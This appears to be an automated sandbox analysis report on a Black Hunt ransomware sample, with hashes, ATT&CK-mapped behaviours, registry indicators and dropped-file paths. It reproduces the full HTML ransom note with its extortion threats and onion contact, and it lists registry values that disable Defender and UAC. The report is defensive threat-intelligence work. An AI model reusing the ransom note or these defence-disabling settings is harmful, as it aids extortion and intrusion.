5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:29

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General

Target

5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Size

707KB
MD5

01e0bbd128d6c75c4ccc024bc8828087
SHA1

65ad6907c9b6a2599e7cc8f906522b6c06170ac4
SHA256

5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0
SHA512

d6ff8fd9b845dead2ba1dc4892efecb5dda710fb1e945507b8cad29be4bf7117a4ecb657c1c4fa4a154857c9b84647b9e5d73836c2141a222b0c4abd1f7eee7e
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1S8Rvnh:6uaTmkZJ+naie5OTamgEoKxLWpFh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> H4b4V0p7o5v50p8t </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3060	fsutil.exe
2532	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	conhost.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2584	wevtutil.exe
3624	wevtutil.exe
1340	wevtutil.exe
2628	wevtutil.exe
240	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1636	bcdedit.exe
2076	bcdedit.exe
3952	bcdedit.exe
2156	bcdedit.exe

Renames multiple (2881) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2796	wbadmin.exe
2868	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2176	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\P:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\V:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\S:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\X:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\M:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\Y:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\I:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\G:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\N:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\J:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\Z:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\H:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\E:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\T:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\O:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\A:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\K:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\L:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened (read-only)	\??\B:	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_Private.key	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-overlay.png	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#BlackHunt_Private.key	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.zh_CN_5.5.0.165303.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jre7\lib\deploy\#BlackHunt_ReadMe.hta	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files (x86)\Google\Update\#BlackHunt_Private.key	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-ui.xml	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Jakarta	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Paris	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_SelectionSubpicture.png	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jce.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Windhoek	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Vevay	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansRegular.ttf	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+5	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Casey	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
